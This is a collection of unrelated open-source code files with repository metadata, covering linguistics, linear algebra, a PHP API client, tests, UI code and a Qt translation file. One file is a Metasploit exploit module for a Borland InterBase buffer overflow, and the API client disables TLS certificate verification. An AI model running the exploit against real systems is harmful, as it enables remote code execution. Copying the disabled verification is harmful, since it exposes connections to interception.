# encoding: utf-8 require "phonology" require File.expand_path("../spanish/orthography", __FILE__) require File.expand_path("../spanish/phonology", __FILE__) require File.expand_path("../spanish/syllable", __FILE__) # This library provides some linguistic and orthographic tools for Spanish # words. module Spanish extend self # Returns an array of Spanish letters from string. # Example: # Spanish.letters("chillar") # # => ["ch", "i", "ll", "a", "r"] def letters(string) string.scan(Orthography::LETTERS) end # Get an array of Phonology::Sounds from the string. def get_sounds(string, *rules) sequence = Orthography.translator.translate(string) Syllabifier.syllabify(sequence) Phonology.general_rules.values.each do |rule| rule.apply(sequence) end rules.each do |rule| Phonology.optional_rules[rule.to_sym].apply(sequence) end sequence end # Translate the Spanish string to International Phonetic Alphabet. # Example: # # Spanish.get_ipa("chavo") # # => 't͡ʃaβo def get_ipa(string, *rules) get_sounds(string, *rules).to_s end def get_syllables(string, *rules) get_sounds(string, *rules).map(&:syllable).uniq end def get_syllables_ipa(string, *rules) syllables = get_syllables(string, *rules) syllables.map {|s| syllables.length == 1 ? s.to_s(false) : s.to_s }.join(" ") end end
norman/spanish
lib/spanish.rb
Ruby
mit
1,408
#include "math/lu.hh" #include <cassert> #include <cmath> #include "math/vlist.hh" LU::lu_t LU::lu(const Matrix& a) { assert(a.rows() == a.cols()); std::size_t n = a.rows(); auto l = Matrix::id(n); auto u = a; for (std::size_t j = 0; j < n; ++j) for (std::size_t i = j + 1; i < n; ++i) { double pivot = !u.at(i, j) && !u.at(j, j) ? 0 : u.at(i, j) / u.at(j, j); l.at(i, j) = pivot; auto ui = VList::row_to_vec(u, i); auto uj = VList::row_to_vec(u, j); VList::row_set(u, i, ui - pivot * uj); } return {l, u}; } /** * Compute the PLU Decomposition PA = LU * A square matrix of size n * P permutation matrix of size n * L unit lower triangular matrix of size n * U upper triangular matrix of size n * if parity != nullptr, pointed value set to numbers of permutations * returns (P, L, U) * * Method: * parity = 0 * for j = 0 -> n - 1: * let imax = max(|A[j][j : n - 1]|) * if imax != j: * ++parity * swap(tr(P)[j], tr(P)[imax]) * swap(tr(L)[j], tr(L)[imax]) * swap(tr(A)[j], tr(A)[imax]) * for i = j + 1 -> n - 1: * let pivot = a_ij / a_jj, or 0 if a_ij = a_jj = 0 * l_ij = pivot * tr(A)[i] -= pivot * tr(A)[j] * return (P, L, A) */ LU::plu_t LU::plu(const Matrix& a, int* parity) { assert(a.rows() == a.cols()); std::size_t n = a.rows(); auto p = Matrix::id(n); auto l = Matrix::id(n); auto u = a; int par = 0; for (std::size_t j = 0; j < n; ++j) { std::size_t imax = j; for (std::size_t i = j + 1; i < n; ++i) if (std::abs(u.at(i, j)) > std::abs(u.at(imax, j))) imax = i; if (imax != j) { ++par; VList::swap_row(p, j, imax); //VList::swap_row(l, j, imax); VList::swap_row(u, j, imax); } for (std::size_t i = j + 1; i < n; ++i) { double pivot = !u.at(i, j) && !u.at(j, j) ? 0 : u.at(i, j) / u.at(j, j); /* u.at(i, j) = 0; for (std::size_t k = j + 1; k < n; ++k) u.at(i, k) -= pivot * u.at(j, k); l.at(i, j) = pivot; */ l.at(i, j) = pivot; auto ui = VList::row_to_vec(u, i); auto uj = VList::row_to_vec(u, j); VList::row_set(u, i, ui - pivot * uj); } } if (parity) *parity = par; return {p, l, u}; }
obs145628/ai-cpp
src/math/lu.cc
C++
mit
2,463
<?php namespace RestSpec\Output\ConstraintDescriber; use Symfony\Component\Validator\Constraint; class NotBlank { public function describe(Constraint $constraint) { $output = 'is required'; return $output; } }
talkrz/rest-spec
src/RestSpec/Output/ConstraintDescriber/NotBlank.php
PHP
mit
242
## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Borland InterBase PWD_db_aliased() Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Borland InterBase by sending a specially crafted attach request. }, 'Version' => '$Revision$', 'Author' => [ 'ramon', 'Adriano Lima <adriano@risesecurity.org>', ], 'Arch' => ARCH_X86, 'Platform' => 'linux', 'References' => [ [ 'CVE', '2007-5243' ], [ 'OSVDB', '38607' ], [ 'BID', '25917' ], [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ], ], 'Privileged' => true, 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x2f\x3a\x40\x5c", }, 'Targets' => [ # 0x0804cbe4 pop esi; pop ebp; ret [ 'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253', { 'Ret' => 0x0804cbe4 } ], ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(3050) ], self.class ) end def exploit connect # Attach database op_attach = 19 length = 1152 remainder = length.remainder(4) padding = 0 if remainder > 0 padding = (4 - remainder) end buf = '' # Operation/packet type buf << [op_attach].pack('N') # Id buf << [0].pack('N') # Length buf << [length].pack('N') # It will return into this nop block buf << make_nops(length - payload.encoded.length - 4) # Payload buf << payload.encoded # Target buf << [target.ret].pack('V') # Padding buf << "\x00" * padding # Length buf << [1024].pack('N') # Random alpha data buf << rand_text_alpha(1024) sock.put(buf) handler end end
hahwul/mad-metasploit
archive/exploits/linux/remote/9954.rb
Ruby
mit
2,217
require "json" require "spec_helper" require_relative "../../lib/simpl" describe Simpl::Url do let(:url) { "http://example.com/test-page" } let(:actual_api_key) { "1234567890abcdef" } before do Simpl.api_key = actual_api_key Simpl.timeout = 30 end subject { Simpl::Url.new(url) } context "when no custom timeout is set" do let(:timeout) { 123 } before(:each) { Simpl.timeout = timeout } it "should return the timeout set on the Simpl class" do subject.send(:timeout).should == timeout end end context "when setting a custom timeout" do let(:timeout) { 654 } subject { Simpl::Url.new(url, timeout: timeout) } it "should return the custom timeout" do subject.send(:timeout).should == timeout end end context "when no timeout is set on the class or instance" do before(:each) { Simpl.timeout = nil } it "should return 10 seconds as the default timeout" do subject.send(:timeout).should == 10 end end context "when no custom API key is set" do let(:api_key) { "hello" } before(:each) do Simpl.api_key = api_key end it "should return the API key set on the Simpl class" do subject.send(:api_key).should == api_key end end context "when setting a custom API key" do let(:api_key) { "0987654321" } subject { Simpl::Url.new(url, api_key: api_key) } it "should return the custom API key" do subject.send(:api_key).should == api_key end end context "when no API key is set on the class or instance" do before(:each) { Simpl.api_key = nil } it "should raise an error" do lambda { subject.send(:api_key) }.should raise_error(Simpl::NoApiKeyError) end end context "when invalid data is returned from the API" do before(:each) do response = mock("response", body: "<html><head></head><body></body></html>") Simpl::Url.should_receive(:post).and_return(response) end it "should return the original URL" do subject.shortened.should == url end end context "when the API times out" do before(:each) do Simpl::Url.should_receive(:post).and_raise(Timeout::Error) end it "should return the original URL" do subject.shortened.should == url end end context "when the API returns valid JSON with an id" do let(:shortened_url) { "http://goo.gl/123" } before(:each) do response = mock("response", body: { id: shortened_url }.to_json) Simpl::Url.should_receive(:post).and_return(response) end it "should return a valid shortened URL" do subject.shortened.should == shortened_url end end context "when the API returns valid JSON without an ID" do before(:each) do response = mock("response", body: {}.to_json) Simpl::Url.should_receive(:post).and_return(response) end it "should return the original URL" do subject.shortened.should == url end end context "against the real API" do use_vcr_cassette "googl-valid-submission" let(:actual_api_key) do api_key_file = File.join(File.dirname(__FILE__), "../../", "API_KEY") unless File.exist?(api_key_file) raise StandardError, %Q( You haven't specified your Googl API key in ./API_KEY, to obtain your's go here: https://code.google.com/apis/console/ ) end File.read(api_key_file) end it "should store a valid full URL" do subject.url.should == url end it "should shorten the url" do subject.shortened.should =~ /^http\:\/\/goo.gl\/.*$/ end end end
krisquigley/simpl
spec/simpl/url_spec.rb
Ruby
mit
3,724
<?php /* * MIT License * * Copyright (c) 2017 Eugene Bogachov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ namespace Granule\DataBind; interface DependencyResolverAware { function setResolver(DependencyResolver $resolver): void; }
granulephp/data-bind
lib/DependencyResolverAware.php
PHP
mit
1,273
require 'thor/group' require_relative '../routing/extractor' require_relative '../templates/js_paths.rb' require_relative '../templates/js_paths_template_str' module LieutenantGovernor module Generators class JsRouteHelpers < Thor::Group extend Thor::Actions # Use the extractor to get the hash # assume function exists to translate hash to javascript text # using Thor, open up a file, and then write the javascript text to # the file def self.generate_paths_file(path) raise TypeError.new('Path must be String.') unless path.class == String routes = Rails.application.routes.routes route_table = LieutenantGovernor::Routing::Extractor.extract(routes) template = LieutenantGovernor::Templates::JsPaths.new(route_table) # create_file '/client/paths.js', template.render File.open(path, 'w') do |f| f.puts template.render end end end end end
JordanLittell/lieutenant_governor
lib/lieutenant_governor/generators/js_route_helpers.rb
Ruby
mit
965
<?php namespace Waynestate\Api; use Waynestate\Api\ConnectorException; /** * Class Connector * @package Waynestate\Api */ class Connector { public $apiKey; // To obtain an API key: http://api.wayne.edu/ public $parser = 'json'; // Use the included XML parser? Default: true. public $debug = false; // Switch for debug mode public $sessionid; public $cache_dir; private $endpoints = array( 'production' => 'https://api.wayne.edu/v1/', 'development' => 'https://www-dev.api.wayne.edu/v1/', 'user' => '', ); private $active_endpoint = 'production'; private $force_production = false; public function __construct($apiKey = false, $mode = 'production') { if ($apiKey) { $this->apiKey = $apiKey; } if ($mode == 'dev' || $mode == 'development') { $this->active_endpoint = 'development'; } if (defined('API_ENDPOINT') && API_ENDPOINT != '') { $this->addEndpoint('user', API_ENDPOINT); } $envVariables = $this->getEnvVariables(); if(!empty($envVariables['WSUAPI_ENDPOINT'])){ $this->addEndPoint('user', $envVariables['WSUAPI_ENDPOINT']); } if (defined('API_CACHE_DIR') && API_CACHE_DIR != '') { $this->cache_dir = API_CACHE_DIR; } } /** * Get the Environment Variables * * If the Laravel Helper function env is available then use it, otherwise getenv * * @return array */ private function getEnvVariables() { if(function_exists('env')){ return [ 'WSUAPI_ENDPOINT' => env('WSUAPI_ENDPOINT'), ]; } return [ 'WSUAPI_ENDPOINT' => getenv('WSUAPI_ENDPOINT'), ]; } /** * setSession * * @param session => string * @return bool */ public function setSession($sessionid) { return ($this->sessionid = $sessionid); } /** * buildArguments * * @param $p (array) * @return string */ protected function buildArguments($p) { $args = ''; foreach ($p as $key => $value) { // Don't include these if ($key == 'method' || $key == 'submit' || $key == 'MAX_FILE_SIZE') { continue; } $args .= $key . '=' . urlencode($value) . '&'; } // Chop off last ampersand return substr($args, 0, -1); } /** * Ensure the endpoint is SSL * * @param $url * @return string */ protected function ensureSslEndpoint($url) { // If the endpoint isn't on SSL if (substr($url, 0, 5) != 'https') { // Force an SSL endpoint $endpoint = parse_url($url); $url = 'https://' . $endpoint['host'] . $endpoint['path']; } // SSL already enabled return $url; } public function sendRequest($method=null, $args=null, $postmethod='get', $tryagain=true, $buildquery=true) { try { $result = $this->Request($method, $args, $postmethod, '', $buildquery); if ($tryagain && is_null($result)) { $result = $this->Request($method, $args, $postmethod, false, $buildquery); } elseif (is_null($result)) { throw new ConnectorException("No response", $method, 8888, 'n/a'); } if (is_array($result) && isset($result['error']) && $result['error']) { throw new ConnectorException($result['error']['message'], $method, $result['error']['code'], $result['error']['field']); } } catch (ConnectorException $e) { } if (isset($result['response'])) { return $result['response']; } return $result; } /** * @param null $method * @param null $args * @param string $postmethod * @param bool $tryagain * @param bool $buildquery * @return mixed|string */ private function Request($method = null, $args = null, $postmethod = 'get', $tryagain = false, $buildquery = true) { // Get the endpoint for this call $endpoint_url = $this->getEndpoint(); // Check for a cached version of the call results if (strtolower($postmethod) == 'get' && array_key_exists('ttl', (array)$args)) { // Create a standard filename $filename = str_replace('/', '.', strtolower($method)) . '-' . md5($endpoint_url . $this->apiKey . $this->sessionid . serialize($args)); // Check to see if there is a cache $cache_serialized = $this->Cache('get', $filename, '', $args['ttl']); // If a cached version exists if ($cache_serialized != '') { // Use the cached results $response = unserialize($cache_serialized); // Debug? if ($this->debug) { echo '<pre>'; print_r('From Cache: ' . $filename . "\n"); print_r($response); echo '</pre>'; } return $response; } } // Convert array to string $reqURL = $endpoint_url . '?api_key=' . $this->apiKey . '&return=json&method=' . $method; // If there is a session, pass the info along if ($this->sessionid != '') { $args['sessionid'] = (string)urlencode($this->sessionid); } if ($postmethod == 'get') { if (is_array($args)) { $getArgs = http_build_query($args); } else { $getArgs = $args; } $reqURL .= '&' . $getArgs; } if ($postmethod == 'post' && !empty($args['sessionid'])) { $reqURL .= '&sessionid=' . $args['sessionid']; } $curl_handle = curl_init(); curl_setopt($curl_handle, CURLOPT_URL, $reqURL); curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT, 1); curl_setopt($curl_handle, CURLOPT_HEADER, 0); curl_setopt($curl_handle, CURLOPT_TIMEOUT, 20); curl_setopt($curl_handle, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($curl_handle, CURLOPT_REFERER, 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); curl_setopt($curl_handle, CURLOPT_SSL_VERIFYPEER, false); // Set the custom HTTP Headers $http_header = array(); $http_header[] = 'X-Api-Key: ' . $this->apiKey; $http_header[] = 'X-Return: json'; if (isset($args['sessionid'])) { $http_header[] = 'X-Sessionid: ' . $args['sessionid']; } curl_setopt($curl_handle, CURLOPT_HTTPHEADER, $http_header); if ($postmethod == 'post') { curl_setopt($curl_handle, CURLOPT_POST, 1); if ($method == 'cms.file.upload' || $buildquery == false) { curl_setopt($curl_handle, CURLOPT_POSTFIELDS, $args); } else { curl_setopt($curl_handle, CURLOPT_POSTFIELDS, http_build_query($args)); } } $response = curl_exec($curl_handle); if (!$response) { $response = curl_error($curl_handle); } curl_close($curl_handle); // Debug? if ($this->debug) { echo '<pre>'; print_r($response); echo '</pre>'; } // Return array if ($this->parser == 'json') { $response = json_decode($response, true); } // If successful return and TTL is set, cache it if (array_key_exists('ttl', (array)$args) // First check if trying to cache && strtolower($postmethod) == 'get' // Only cache GET requests && is_array($response) // Ensure the response is a structure && array_key_exists('response', $response) // Ensure there is a response in the response && !array_key_exists('error', $response['response']) // Ensure there wasn't an error (params, etc) ) { // Debug? if ($this->debug) { echo '<pre>'; print_r('Saving Cache: ' . $filename); echo '</pre>'; } // Save the results $this->Cache('set', $filename, $response); } return $response; } /** * Get or Set Cache * * @param string $action (ex. "get" or "set") * @param string $filename * @param mixed $data * @param string $max_age * @return string */ protected function Cache($action, $filename, $data = '', $max_age = '') { if (!is_dir($this->cache_dir)) { return ''; } // Set the full path $cache_file = $this->cache_dir . $filename; $cache = ''; if ($action == 'get') { // Clear the file stats clearstatcache(); if (is_file($cache_file) && $max_age != '') { // Make sure $max_age is negitive if (is_string($max_age) && substr($max_age, 0, 1) != '-') { $max_age = '-' . $max_age; } // Make sure $max_age is an INT if (!is_int($max_age)) { $max_age = strtotime($max_age); } // Test to see if the file is still fresh enough if (filemtime($cache_file) >= date($max_age)) { $cache = file_get_contents($cache_file); } } } else { if (is_writable($this->cache_dir)) { // Serialize the Fields $store = serialize($data); //Open and Write the File $fp = fopen($cache_file, "w"); fwrite($fp, $store); fclose($fp); chmod($cache_file, 0770); $cache = strlen($store); } } return $cache; } /** * Use the production endpoint for the next few calls * */ public function nextRequestProduction() { $this->force_production = true; } /** * Get the current active endpoint * * @return mixed */ protected function getEndpoint() { // If force production is in effect if ($this->force_production) { $this->force_production = false; return $this->endpoints['production']; } // Return the active endpoint return $this->endpoints[$this->active_endpoint]; } /** * Add a user defined endpoint * * @param $name * @param $url * @return bool */ protected function addEndpoint($name, $url) { // Add or modify the endpoint URL $this->endpoints[$name] = $this->ensureSslEndpoint($url); $this->active_endpoint = $name; // Return boolean if endpoint has been added successfully return array_key_exists($name, $this->endpoints); } /** * Backwards compatibility for public access to the $cmsREST property * Example: `$api->cmsREST = 'http...` * * @param $name * @param $value */ public function __set($name, $value) { if ($name == 'cmsREST') { $this->addEndpoint('user', $value); } } /** * Backwards compatibility to access the $cmsREST property * Example: `$api->cmsREST;` * * @param $name * @return mixed */ public function __get($name) { if ($name == 'cmsREST') { return $this->endpoints['user']; } } }
waynestate/waynestate-api-php
src/Connector.php
PHP
mit
11,839
angular.module('material.animations') .directive('inkRipple', [ '$materialInkRipple', InkRippleDirective ]) .factory('$materialInkRipple', [ '$window', '$$rAF', '$materialEffects', '$timeout', InkRippleService ]); function InkRippleDirective($materialInkRipple) { return function(scope, element, attr) { if (attr.inkRipple == 'checkbox') { $materialInkRipple.attachCheckboxBehavior(element); } else { $materialInkRipple.attachButtonBehavior(element); } }; } function InkRippleService($window, $$rAF, $materialEffects, $timeout) { // TODO fix this. doesn't support touch AND click devices (eg chrome pixel) var hasTouch = !!('ontouchend' in document); var POINTERDOWN_EVENT = hasTouch ? 'touchstart' : 'mousedown'; var POINTERUP_EVENT = hasTouch ? 'touchend touchcancel' : 'mouseup mouseleave'; return { attachButtonBehavior: attachButtonBehavior, attachCheckboxBehavior: attachCheckboxBehavior, attach: attach }; function attachButtonBehavior(element) { return attach(element, { mousedown: true, center: false, animationDuration: 350, mousedownPauseTime: 175, animationName: 'inkRippleButton', animationTimingFunction: 'linear' }); } function attachCheckboxBehavior(element) { return attach(element, { mousedown: true, center: true, animationDuration: 300, mousedownPauseTime: 180, animationName: 'inkRippleCheckbox', animationTimingFunction: 'linear' }); } function attach(element, options) { // Parent element with noink attr? Abort. if (element.controller('noink')) return angular.noop; options = angular.extend({ mousedown: true, hover: true, focus: true, center: false, animationDuration: 300, mousedownPauseTime: 150, animationName: '', animationTimingFunction: 'linear' }, options || {}); var rippleContainer; var node = element[0]; if (options.mousedown) { listenPointerDown(true); } // Publish self-detach method if desired... return function detach() { listenPointerDown(false); if (rippleContainer) { rippleContainer.remove(); } }; function listenPointerDown(shouldListen) { element[shouldListen ? 'on' : 'off'](POINTERDOWN_EVENT, onPointerDown); } function rippleIsAllowed() { return !Util.isParentDisabled(element); } function createRipple(left, top, positionsAreAbsolute) { var rippleEl = angular.element('<div class="material-ripple">') .css($materialEffects.ANIMATION_DURATION, options.animationDuration + 'ms') .css($materialEffects.ANIMATION_NAME, options.animationName) .css($materialEffects.ANIMATION_TIMING, options.animationTimingFunction) .on($materialEffects.ANIMATIONEND_EVENT, function() { rippleEl.remove(); }); if (!rippleContainer) { rippleContainer = angular.element('<div class="material-ripple-container">'); element.append(rippleContainer); } rippleContainer.append(rippleEl); var containerWidth = rippleContainer.prop('offsetWidth'); if (options.center) { left = containerWidth / 2; top = rippleContainer.prop('offsetHeight') / 2; } else if (positionsAreAbsolute) { var elementRect = node.getBoundingClientRect(); left -= elementRect.left; top -= elementRect.top; } var css = { 'background-color': $window.getComputedStyle(rippleEl[0]).color || $window.getComputedStyle(node).color, 'border-radius': (containerWidth / 2) + 'px', left: (left - containerWidth / 2) + 'px', width: containerWidth + 'px', top: (top - containerWidth / 2) + 'px', height: containerWidth + 'px' }; css[$materialEffects.ANIMATION_DURATION] = options.fadeoutDuration + 'ms'; rippleEl.css(css); return rippleEl; } function onPointerDown(ev) { if (!rippleIsAllowed()) return; var rippleEl = createRippleFromEvent(ev); var ripplePauseTimeout = $timeout(pauseRipple, options.mousedownPauseTime, false); rippleEl.on('$destroy', cancelRipplePause); // Stop listening to pointer down for now, until the user lifts their finger/mouse listenPointerDown(false); element.on(POINTERUP_EVENT, onPointerUp); function onPointerUp() { cancelRipplePause(); rippleEl.css($materialEffects.ANIMATION_PLAY_STATE, 'running'); element.off(POINTERUP_EVENT, onPointerUp); listenPointerDown(true); } function pauseRipple() { rippleEl.css($materialEffects.ANIMATION_PLAY_STATE, 'paused'); } function cancelRipplePause() { $timeout.cancel(ripplePauseTimeout); } function createRippleFromEvent(ev) { ev = ev.touches ? ev.touches[0] : ev; return createRipple(ev.pageX, ev.pageY, true); } } } }
mauricionr/material
src/components/animate/inkCssRipple.js
JavaScript
mit
5,058
<?xml version="1.0" ?><!DOCTYPE TS><TS language="bs" version="2.1"> <context> <name>AboutDialog</name> <message> <location filename="../forms/aboutdialog.ui" line="+14"/> <source>About SpamSlayer</source> <translation type="unfinished"/> </message> <message> <location line="+39"/> <source>&lt;b&gt;SpamSlayer&lt;/b&gt; version</source> <translation type="unfinished"/> </message> <message> <location line="+41"/> <source>Copyright © 2009-2014 The Bitcoin developers Copyright © 2012-2014 The NovaCoin developers Copyright © 2014 The SpamSlayer developers</source> <translation type="unfinished"/> </message> <message> <location line="+15"/> <source> This is experimental software. Distributed under the MIT/X11 software license, see the accompanying file COPYING or http://www.opensource.org/licenses/mit-license.php. This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/) and cryptographic software written by Eric Young (eay@cryptsoft.com) and UPnP software written by Thomas Bernard.</source> <translation type="unfinished"/> </message> </context> <context> <name>AddressBookPage</name> <message> <location filename="../forms/addressbookpage.ui" line="+14"/> <source>Address Book</source> <translation type="unfinished"/> </message> <message> <location line="+22"/> <source>Double-click to edit address or label</source> <translation type="unfinished"/> </message> <message> <location line="+27"/> <source>Create a new address</source> <translation type="unfinished"/> </message> <message> <location line="+14"/> <source>Copy the currently selected address to the system clipboard</source> <translation type="unfinished"/> </message> <message> <location line="-11"/> <source>&amp;New Address</source> <translation type="unfinished"/> </message> <message> <location line="-46"/> <source>These are your SpamSlayer addresses for receiving payments. You may want to give a different one to each sender so you can keep track of who is paying you.</source> <translation type="unfinished"/> </message> <message> <location line="+60"/> <source>&amp;Copy Address</source> <translation type="unfinished"/> </message> <message> <location line="+11"/> <source>Show &amp;QR Code</source> <translation type="unfinished"/> </message> <message> <location line="+11"/> <source>Sign a message to prove you own a SpamSlayer address</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Sign &amp;Message</source> <translation type="unfinished"/> </message> <message> <location line="+25"/> <source>Delete the currently selected address from the list</source> <translation type="unfinished"/> </message> <message> <location line="-14"/> <source>Verify a message to ensure it was signed with a specified SpamSlayer address</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>&amp;Verify Message</source> <translation type="unfinished"/> </message> <message> <location line="+14"/> <source>&amp;Delete</source> <translation type="unfinished"/> </message> <message> <location filename="../addressbookpage.cpp" line="+65"/> <source>Copy &amp;Label</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>&amp;Edit</source> <translation type="unfinished"/> </message> <message> <location line="+250"/> <source>Export Address Book Data</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Comma separated file (*.csv)</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <source>Error exporting</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>Could not write to file %1.</source> <translation type="unfinished"/> </message> </context> <context> <name>AddressTableModel</name> <message> <location filename="../addresstablemodel.cpp" line="+144"/> <source>Label</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>Address</source> <translation type="unfinished"/> </message> <message> <location line="+36"/> <source>(no label)</source> <translation type="unfinished"/> </message> </context> <context> <name>AskPassphraseDialog</name> <message> <location filename="../forms/askpassphrasedialog.ui" line="+26"/> <source>Passphrase Dialog</source> <translation type="unfinished"/> </message> <message> <location line="+21"/> <source>Enter passphrase</source> <translation type="unfinished"/> </message> <message> <location line="+14"/> <source>New passphrase</source> <translation type="unfinished"/> </message> <message> <location line="+14"/> <source>Repeat new passphrase</source> <translation type="unfinished"/> </message> <message> <location line="+33"/> <source>Serves to disable the trivial sendmoney when OS account compromised. Provides no real security.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>For staking only</source> <translation type="unfinished"/> </message> <message> <location filename="../askpassphrasedialog.cpp" line="+35"/> <source>Enter the new passphrase to the wallet.&lt;br/&gt;Please use a passphrase of &lt;b&gt;10 or more random characters&lt;/b&gt;, or &lt;b&gt;eight or more words&lt;/b&gt;.</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Encrypt wallet</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>This operation needs your wallet passphrase to unlock the wallet.</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Unlock wallet</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>This operation needs your wallet passphrase to decrypt the wallet.</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Decrypt wallet</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Change passphrase</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Enter the old and new passphrase to the wallet.</source> <translation type="unfinished"/> </message> <message> <location line="+46"/> <source>Confirm wallet encryption</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Warning: If you encrypt your wallet and lose your passphrase, you will &lt;b&gt;LOSE ALL OF YOUR COINS&lt;/b&gt;!</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>Are you sure you wish to encrypt your wallet?</source> <translation type="unfinished"/> </message> <message> <location line="+15"/> <source>IMPORTANT: Any previous backups you have made of your wallet file should be replaced with the newly generated, encrypted wallet file. For security reasons, previous backups of the unencrypted wallet file will become useless as soon as you start using the new, encrypted wallet.</source> <translation type="unfinished"/> </message> <message> <location line="+103"/> <location line="+24"/> <source>Warning: The Caps Lock key is on!</source> <translation type="unfinished"/> </message> <message> <location line="-133"/> <location line="+60"/> <source>Wallet encrypted</source> <translation type="unfinished"/> </message> <message> <location line="-58"/> <source>SpamSlayer will close now to finish the encryption process. Remember that encrypting your wallet cannot fully protect your coins from being stolen by malware infecting your computer.</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <location line="+7"/> <location line="+44"/> <location line="+6"/> <source>Wallet encryption failed</source> <translation type="unfinished"/> </message> <message> <location line="-56"/> <source>Wallet encryption failed due to an internal error. Your wallet was not encrypted.</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <location line="+50"/> <source>The supplied passphrases do not match.</source> <translation type="unfinished"/> </message> <message> <location line="-38"/> <source>Wallet unlock failed</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <location line="+12"/> <location line="+19"/> <source>The passphrase entered for the wallet decryption was incorrect.</source> <translation type="unfinished"/> </message> <message> <location line="-20"/> <source>Wallet decryption failed</source> <translation type="unfinished"/> </message> <message> <location line="+14"/> <source>Wallet passphrase was successfully changed.</source> <translation type="unfinished"/> </message> </context> <context> <name>BitcoinGUI</name> <message> <location filename="../bitcoingui.cpp" line="+282"/> <source>Sign &amp;message...</source> <translation type="unfinished"/> </message> <message> <location line="+251"/> <source>Synchronizing with network...</source> <translation type="unfinished"/> </message> <message> <location line="-319"/> <source>&amp;Overview</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Show general overview of wallet</source> <translation type="unfinished"/> </message> <message> <location line="+17"/> <source>&amp;Transactions</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Browse transaction history</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>&amp;Address Book</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Edit the list of stored addresses and labels</source> <translation type="unfinished"/> </message> <message> <location line="-13"/> <source>&amp;Receive coins</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Show the list of addresses for receiving payments</source> <translation type="unfinished"/> </message> <message> <location line="-7"/> <source>&amp;Send coins</source> <translation type="unfinished"/> </message> <message> <location line="+35"/> <source>E&amp;xit</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Quit application</source> <translation type="unfinished"/> </message> <message> <location line="+6"/> <source>Show information about SpamSlayer</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>About &amp;Qt</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Show information about Qt</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>&amp;Options...</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>&amp;Encrypt Wallet...</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>&amp;Backup Wallet...</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>&amp;Change Passphrase...</source> <translation type="unfinished"/> </message> <message numerus="yes"> <location line="+259"/> <source>~%n block(s) remaining</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+6"/> <source>Downloaded %1 of %2 blocks of transaction history (%3% done).</source> <translation type="unfinished"/> </message> <message> <location line="-256"/> <source>&amp;Export...</source> <translation type="unfinished"/> </message> <message> <location line="-64"/> <source>Send coins to a SpamSlayer address</source> <translation type="unfinished"/> </message> <message> <location line="+47"/> <source>Modify configuration options for SpamSlayer</source> <translation type="unfinished"/> </message> <message> <location line="+18"/> <source>Export the data in the current tab to a file</source> <translation type="unfinished"/> </message> <message> <location line="-14"/> <source>Encrypt or decrypt wallet</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Backup wallet to another location</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Change 